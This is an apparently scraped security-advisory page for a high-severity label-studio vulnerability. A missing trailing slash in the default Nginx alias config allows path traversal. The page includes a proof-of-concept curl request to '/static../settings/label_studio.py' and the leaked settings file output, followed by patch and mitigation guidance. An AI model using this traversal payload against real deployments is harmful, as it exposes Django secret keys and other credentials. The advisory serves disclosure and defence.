NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

Nginx alias path traversal allows unauthenticated attackers to read all files on /label_studio/core/GHSA-cpmr-mw4j-99r7

HIGHFix: HumanSignal/label-studio@60a3ef5

GHSA-cpmr-mw4j-99r7 is a high-severity (CVSS 7.5) vulnerability in label-studio. A fix is available for label-studio — see the affected versions and patch details below.

Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 2, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐍label-studio

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The vulnerability resides on the Nginx config file: https://github.com/heartexlabs/label-studio/blob/53944e6bcede75ca5c102d655013f2e5238e85e6/deploy/default.conf#L119

The pattern on location /static indicates a popular misconfiguration on Nginx servers presented in 2018 originally by Orange Tsai. This vulnerability allows an attacker to use a single path traversal payload in the matched location to traverse one directory above. This vulnerability only happens due to the location /static directive not having a slash / at the end, the following code shows an example of a safe configuration:

location /static/ {
[...]

The vulnerability works because Nginx will think that /static../ is a directory that should also be aliased to the folder, allowing /static/../ to be reached. In Label Studio's case, this means all files on /label_studio/core/ are exposed.

Of course, this means that only Label Studio instances that were deployed using the default nginx files introducted at Mar 31, 2021. This is a very easy vulnerability to fix, and just a lesser-known configuration mistake on nginx files. It's very easy to happen because all is needed is for one slash to be missing. (Off-By-One)

** Proof-of-Concept (Leaking Secret Keys): ** Exploiting this vulnerability usually depends on what's on the parent folder, in Label Studio's case the most interesting file I could find that's on there by default is /label_studio/core/ . We can fetch it by simply making a request to the traversed folder.

# Production Label Studio docker-compose running on localhost:8080
/t/mydata [127]$ curl localhost:8080/static../settings/label_studio.py
"""This file and its contents are licensed under the Apache License 2.0. Please see the included NOTICE for copyright information and LICENSE for a copy of the license.
"""
import os
import pathlib

from core.settings.base import *

DJANGO_DB = get_env('DJANGO_DB', DJANGO_DB_SQLITE)
DATABASES = {'default': DATABASES_ALL[DJANGO_DB]}

MIDDLEWARE.append('organizations.middleware.DummyGetSessionMiddleware')
MIDDLEWARE.append('core.middleware.UpdateLastActivityMiddleware')
if INACTIVITY_SESSION_TIMEOUT_ENABLED:
    MIDDLEWARE.append('core.middleware.InactivitySessionTimeoutMiddleWare')

ADD_DEFAULT_ML_BACKENDS = False

LOGGING['root']['level'] = get_env('LOG_LEVEL', 'WARNING')

DEBUG = get_bool_env('DEBUG', False)

DEBUG_PROPAGATE_EXCEPTIONS = get_bool_env('DEBUG_PROPAGATE_EXCEPTIONS', False)

SESSION_COOKIE_SECURE = False

SESSION_ENGINE = "django.contrib.sessions.backends.signed_cookies"

RQ_QUEUES = {}

SENTRY_DSN = get_env(
    'SENTRY_DSN',
    'https://[email protected]/5820521'
)
SENTRY_ENVIRONMENT = get_env('SENTRY_ENVIRONMENT', 'opensource')

FRONTEND_SENTRY_DSN = get_env(
    'FRONTEND_SENTRY_DSN',
    'https://[email protected]/5838868')
FRONTEND_SENTRY_ENVIRONMENT = get_env('FRONTEND_SENTRY_ENVIRONMENT', 'opensource')

EDITOR_KEYMAP = json.dumps(get_env("EDITOR_KEYMAP"))

from label_studio import __version__
from label_studio.core.utils import sentry
sentry.init_sentry(release_name='label-studio', release_version=__version__)

# we should do it after sentry init
from label_studio.core.utils.common import collect_versions
versions = collect_versions()

# in Label Studio Community version, feature flags are always ON
FEATURE_FLAGS_DEFAULT_VALUE = True
# or if file is not set, default is using offline mode
FEATURE_FLAGS_OFFLINE = get_bool_env('FEATURE_FLAGS_OFFLINE', True)

from core.utils.io import find_file
FEATURE_FLAGS_FILE = get_env('FEATURE_FLAGS_FILE', 'feature_flags.json')
FEATURE_FLAGS_FROM_FILE = True
try:
    from core.utils.io import find_node
    find_node('label_studio', FEATURE_FLAGS_FILE, 'file')
except IOError:
    FEATURE_FLAGS_FROM_FILE = False

STORAGE_PERSISTENCE = get_bool_env('STORAGE_PERSISTENCE', True)

Impact

The impact consists on leaking Django secret keys by default, with also greater risk being possible due to the vulnerability exposing the file located at /label_studio/core/settings/label_studio.py which contains the secret key for Django as well as possibly containing other secrets the user might put there. (If the administrator decides not to use environment variables for some variables)

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIlabel-studioall versions1.7.2pip install --upgrade 'label-studio==1.7.2'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for label-studio, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update label-studio to 1.7.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cpmr-mw4j-99r7 is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

### Summary The vulnerability resides on the Nginx config file: https://github.com/heartexlabs/label-studio/blob/53944e6bcede75ca5c102d655013f2e5238e85e6/deploy/default.conf#L119 The pattern on location /static indicates a popular misconfiguration on Nginx servers presented in 2018 originally by Orange Tsai. This vulnerability allows an attacker to use a single path traversal payload in the matched location to traverse one directory above. This vulnerability only happens due to the location /static directive not having a slash `/` at the end, the following code shows an example of a safe conf
O3 Security · Impact-Aware SCA

Is GHSA-cpmr-mw4j-99r7 in your dependencies?

Find it across PyPI, including transitive dependencies.

Nginx alias path traversal allows unauthenticated…